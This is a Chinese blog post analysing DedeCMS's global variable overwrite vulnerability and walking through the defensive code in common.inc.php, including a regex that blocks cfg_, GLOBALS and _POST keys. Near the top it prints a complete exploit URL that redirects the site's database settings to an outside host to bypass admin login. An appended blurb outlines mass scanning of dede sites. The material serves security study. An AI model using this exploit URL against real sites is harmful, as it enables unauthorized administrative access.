dede源码详细分析之--全局变量覆盖漏洞的防御

最近开始分析主流CMS源码,首先就是拿DEDE开刀,谁让我就用它时间长呢。

今天试着写了一个简单的插件,感觉还是比较简单的 只引入了一个common.inc.php  这个文件是dede的入口文件  
今天开始研究了一下 common.inc.php 这个文件  
发现了一个很有趣的事情    
这篇日志主要是说的变脸覆盖问题  

众所周知  php的 $GLOBALS['a'] = 'aa';  这样 就相当于 定义了一个$a = 'aa';的全局变量  然后呢 有人就可以利用这个机制来做一些事情  最火的就是前一段时间的织梦变量覆盖漏洞  

http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root  


直接这样写 替换下验证码 就可以登陆后台  因为 GLOBALS数组定义了一些全局变量  cfg_*  正好是 dede数据库配置的变量  然后 dede就误认为这个远程的数据库就是他的数据库 然后在远程精心策划一个和目标站点一样的数据库   用户名和密码 当然是自己知道的 就可以直接不要账号密码登陆了  

当然  dede也给出了防御代码  具体可以来分析分析  会发现一个很有趣的事情

dede把所有的get  post 等请求都给封装了下  然后 分配到每个变量   
在common.inc.php 文件 第37行
 
[php]  view plain copy
  1. function _RunMagicQuotes(&$svar)  
  2. {  
  3.     if(!get_magic_quotes_gpc())  
  4.     {  
  5.         ifis_array($svar) )  
  6.         {  
  7.             foreach($svar as $_k => $_v$svar[$_k] = _RunMagicQuotes($_v);  
  8.         }  
  9.         else  
  10.         {  
  11.             ifstrlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )  
  12.             {  
  13.               exit('Request var not allow!');  
  14.             }  
  15.             $svar = addslashes($svar);  
  16.         }  
  17.     }  
  18.     return $svar;  
  19. }  
  20. if (!defined('DEDEREQUEST'))   
  21. {  
  22.     //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)  
  23.     function CheckRequest(&$val) {  
  24.         if (is_array($val)) {  
  25.             foreach ($val as $_k=>$_v) {  
  26.                 if($_k == 'nvarname'continue;  
  27.                 CheckRequest($_k);   
  28.                 CheckRequest($val[$_k]);  
  29.             }  
  30.         } else  
  31.         {  
  32.             ifstrlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  )  
  33.             {  
  34.                 exit('Request var not allow!');  
  35.             }  
  36.         }  
  37.     }  
  38.       
  39.     //var_dump($_REQUEST);exit;  
  40.     CheckRequest($_REQUEST);  
  41.   
  42.     foreach(Array('_GET','_POST','_COOKIE 'as $_request)  
  43.     {  
  44.         foreach($$_request as $_k => $_v)   
  45. {  
  46. if($_k == 'nvarname') ${$_k} = $_v;  
  47. else ${$_k} = _RunMagicQuotes ($_v);  
  48. }  
  49.     }  
  50. }  



  这个就是抵抗变量覆盖的代码 ,这一段代码很有趣, 怎么个有趣呢  他首先会执行这个 CheckRequest函数 然后参数是$_REQUEST  众所周知 这个参数可以获取  get post  cookie 的值  然后呢  这个函数就会判断这个是否维数组  如果是的话就继续递归调用这个函数  当然为了防止多维数组  他还   CheckRequest($_k);    CheckRequest($val[$_k]);  这样递归调用  因为 上面那个 漏洞URL 就是一个多维数组   然后直到最后是字符串了 就会判断  如果字符串有值  或者字符串 是  cfg_|GLOBALS|_GET|_POST|_COOKIE其中的一个 就会 终止程序  这样就有效的防止了 多维数组 来覆盖全局变量   最后还有个foreach循环  把所有的   '_GET','_POST','_COOKIE  都去 _RunMagicQuotes过一遍   _RunMagicQuotes函数会把这些变量 加上个转义符 并且 会把每个参数 注册成一个变量   这样  比如说  get 数组 有个  ?a=aa  那么  就会生成一个变量  $a = aa  而且还是转义后的    


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
dede是一款开源的PHP内容管理系统,由于其流行度较高,黑客们经常针对dede进行攻击。而dede漏洞的批量检测是指对大量的dede网站进行漏洞检测的过程。 批量检测可以提高效率,同时也能更好地保护网站的安全。批量检测dede漏洞的方法有多种,以下是一些常见的步骤: 1. 收集目标网站:可以通过搜索引擎、在线资产收集工具等方式,获取大量的dede网站。 2. 确定漏洞版本:dede有多个版本,每个版本可能存在不同的漏洞。针对不同版本,需要使用不同的漏洞检测方法。 3. 搭建漏洞检测环境:需要运行dede的环境,可以在本地搭建一个虚拟机环境,或者使用在线的dede漏洞检测平台。 4. 使用漏洞扫描工具:有一些自动化漏洞扫描工具可以对dede进行批量漏洞检测,如acunetix、nessus等。这些工具会自动识别网站的漏洞版本,并对其进行检测。 5. 手动验证漏洞:自动化工具可能会有误报或漏报的情况,因此需要一定的人工验证。可以使用一些漏洞验证脚本,如基于已知漏洞利用的POC工具,对检测出的漏洞进行确认。 总之,dede漏洞的批量检测是通过收集目标网站,确定漏洞版本,搭建环境,使用自动化漏洞扫描工具和手动验证漏洞等多个步骤来进行的。这样可以快速、高效地发现和修复dede网站的安全漏洞,提高网站的安全性和可靠性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值